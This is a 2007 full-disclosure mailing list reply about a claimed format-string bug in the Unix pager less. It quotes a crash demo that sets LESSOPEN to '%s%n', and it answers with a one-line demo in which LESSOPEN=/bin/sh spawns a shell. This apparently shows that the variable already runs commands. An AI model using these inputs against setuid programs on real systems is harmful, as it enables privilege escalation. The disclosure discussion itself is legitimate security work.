full-disclosure - Re: [+] Vulnerability in less version 394 and prior

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Message-Id: <200710302341.39386.fdlist@digitaloffense.net>
Date: Tue, 30 Oct 2007 23:41:39 -0500
From: fdlist@...italoffense.net
To: full-disclosure@...ts.grok.org.uk
Subject: Re: [+] Vulnerability in less version 394 and
	prior

$ LESSOPEN=/bin/sh less /dev/null
sh-3.2$

On Tuesday 30 October 2007, glopeda.com wrote:
> There exists a format strings bug in the less application present in
> most flavors of UNIX.  It could be leveraged for privilege escalation
> if the calling application is setuid/setgid and does not properly drop
> privileges.
>
> Meager demonstration:
> $ export LESSOPEN=%s%n
> $ less somefile
> Segmentation fault

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